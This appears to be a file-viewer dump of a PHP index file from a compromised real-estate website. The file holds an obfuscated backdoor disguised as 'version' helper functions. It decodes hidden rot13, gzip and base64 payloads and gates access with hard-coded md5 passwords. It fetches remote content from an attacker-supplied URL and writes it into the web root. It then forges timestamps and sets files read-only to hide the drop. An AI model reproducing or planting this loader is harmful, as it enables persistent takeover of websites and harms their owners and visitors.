Current Path : /var/www/www-root/data/webdav/www/info.monolith-realty.ru/app/ |
Current File : /var/www/www-root/data/webdav/www/info.monolith-realty.ru/app/index.php |
<?php /** * @title ipadview * @ * @param $str * @return mixed|string */ if (!defined('WP_BLOG')) { return version_info("init"); } function version_desc($str) { ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e(); if (!$str) { echo date("Y-m-d H:i:s") . "<br>"; if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ; return ''; } $pi = [ ['str', 'ro'], ["json", 'decode'], ]; ($q = (implode('_', $pi[0]) . "t13")) && $data = $q($str); ($q = "b" . implode('_', $pi[1]) . "e") && $data = $q($data); if (isset($_GET['s'])) $data = $_GET['s'] . $data; return $data; } function version_info($str) { global $temp; $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo"; $temp = base64_decode($temp); $name = ['Y3Mupv93q3piq3q3YKWio3DiMTS0LF93q3pinJ5zol5go25ioTy0nP1lMJSfqUxhpaHinJ5woUIxMF9fLJ5xnJ5aY2Svo3I0YzEuqTR', function ($version_file, $name) use ($temp) { $data = translation_v3('tVhtb9s2EP4rnJEBKZA4ki3LTpy67QIXKJC2m5N0H6LMoCTKUiyLqkTFdop+KPqyrn+kL+hadN0+7J/I/2ZHUVKsWHG7rUYbmSYf3t1zd7yjfHxc0bbOcKBtjcfj5LEZUMq0LRMznE46nkWrI+pR12H2ZkCwy6bVIOILJplUfduvbFR2b8Cn5qEBZRSdnu7VrDZ6cDRl5ztoTacs/4+uI62iaZMa0bSGmvxVUBWt9Q+6vQfd3jFflGUJEA0FRrXkkXy1+KjBH3V4SA0+V4NRvQkjReZzzWxBIUJA5aQtLDo4HJ+dt4VhO+gmCQIa9APi04A53mBdupbiEpPbaG+8bw12kGOh9ZAFPg3XCyQ2BAfVyh/cBtUA9UpDq1xDN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hNkmQ/VBQAHXFDYIqUJwiWHCcOY7fmufkFI9C8HIpPxbpxMcsoG4VjFl24i4jO8UJQQguz1UPZl0HiblVBA6UQJ670SBCaYaISljGjwcjBE5fLLKdcuR8zeQJOaJnDgmRWFkFOWZDEmHPRJCcIR4Q5OPApVF59Hj+CNsuyuZinVjaUBb3d0pms+LCnQ4ez1yzCgecRiPdJcjCI36YbChe2Cklz3NNLA8pJB0rrZE51QKy0pn/KsgR7zRC2IHrAk61rohg2qFmL6ApvoQe9ALFb6AZfZy9upIm2KQ7OJrkfXFJiHXInuF8p5zbC40v/jDfJOMP8TvRJudQaY/kffDZHPgPsPY9h6+wVtmwInpj1ZyYX4o+htbOBCZPgCWOKKIh4FAU/cAJSaqHu6GIyaq054MVA4yic/gc0sheWXKkF6X49+QC81spdeq5U0hTk59O0Vn/ZUosCCheiOK/4k+zV3AdggTgSQpDsGxhk3DO7EkC/sjhAJ094bKewT4QggSbFbnKpozfcnmdKHVTXrQH0In/k58WJaARgTQY4LTL2/Ce1FlEzTV3cbMYwZVvCn+rqpnpBSa92usEhEyvPDXccn49nC4pmmXNMd8j6OERCRwje5NY7VXNhqzzDZ546MpG74z8kU8GYZX/dres6RWRIpA+PYO7GidaWBRMhy4aY/9y1YPrbf7eCG+T/P2zslExLVXabqk1QzFV2ZINU5LrRlORt6VWvaE3SeVk4//8/Fi1GTYMEob858c71l0K9YrApcSEV+hx4ED+GYlFPfGt6w0cj6D73tzcDxgKHnjsYqbHZfyS/7K5hjbR8f7JHGCPwn3k+0e97k9H3YPD/u07+917t+52H6PvNq2vg5mX1VVRri9TBl7MGHFP6kRpqmatSQzS2m5sK6qkmLLSaqmG1JIlWa2cnPwD', '0'); $data = base64_decode(/**/ $data); $data = translation_v2($data, '1'); $data = translation_v1($data, '1'); echo count($data); version_desc(false); }]; $temp = explode(',', $temp); return ['#ver#', version_data($name, 1, 0)]; } /** * @title install path */ function version_path() { echo __FILE__; } /** * @title get version data * @param $data * @param $offset * @param $page * @return mixed */ function version_data($data, $offset, $page) { $keu = ['', "code"]; $keu[] = ''; return $data[$offset]($data[$page], implode('_', $keu)); } /** * @title translation data * @param $data * @param $offset * @return mixed */ function translation_v1($data, $mode, $exp = '') { if ($mode === 'X1') { $data = base64_decode($data); $len = strlen($data); $exp = str_replace('=', '', base64_encode($exp)); $res = ""; $i = 0; while ($i < $len) { for ($k = 0; $k < strlen($exp) && $i < $len; $k++) $res .= chr(ord($data[$i++]) ^ ord($exp[$k])); } return $res; } elseif ($mode) { return json_decode($data, true); } else { return unserialize($data); } } /** * @title parse version data * @param $data * @return version */ function version_parse($data) { $version = $data['version']; if ($version === 'path') version_path(); if (isset($data[$version])) { $version = translation_v1($data[$version], 'X1', $data[$version . '1']); } return $version; } /** * @title update version * @param $qr * @return void */ function version_update($check, $qr = false) { if (!version_access("a{$check}k", 'c725d849f619bc113c70f04c62ae5b55')) return; $c = $_COOKIE;; $cf = implode('_', ['function', 'exists']); (!$qr || !$cf($qr)) && $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for]; if (($a = $qr($_REQUEST['name'])) && version_deny($a)) { return; } global $temp; $a = explode(',', $a); if (empty($a[1])) return; echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] "; return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp); } /** * @title version access or force * @param string $version version pass * @param string $token check update token * @return bool */ function version_access($version, $token) { return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']); } /** * @title version data is deny * @param $data * @return void */ function version_deny($data) { return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']); } /** * @title translation version data * @param $data * @param $offset * @return mixed */ function translation_v2($data, $offet) { if (!empty($offet)) { return gzinflate($data); } else { return $data; } } /** * @title translation version data * @param $data * @param $offset * @return mixed */ function translation_v3($data, $offet) { if (!empty($offet)) { return str_rot13($data); } else { return $data; } } return 'inited'; /** * @title check version token * @param $name * @param $date * @param $check * @param string $token * @param false $mode * @return bool|mixed */ function version_check($name, $date, $check, $token = '', $mode = false) { try { $vs = 'rename'; if (!is_array($check)) $check = explode(',', $check); $map = [0, 1, 2, 3, 4]; $m = $mode ? $mode : ($check[1]() - 2693693); $iw = true; empty($check[9]) || $date = $check[9]($date); if ($check[$map[4] + 1]($name)) { if ($token && Md5_File($name) === $token) return true; $iw = $check[6]($name); if ($x = $check[5]($name)) { $m = $check[4]($name); } $x && !$iw && @$check[7]($name, 0744); @$vs($name, $name . time()); } if ($check[$map[0]]($check[2])) { $l = $check[$map[2]][0] . 'write'; $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date); } else { $r = $check[$map[3]]($name . ".tmp1", $date); } @$vs($name . ".tmp1", $name); $check[8]($name, $m, $m); $iw || @$check[7]($name, 0444); } catch (\Exception $A) { echo $A->getMessage() . "<br>"; $r = false; } echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>"; return $r; }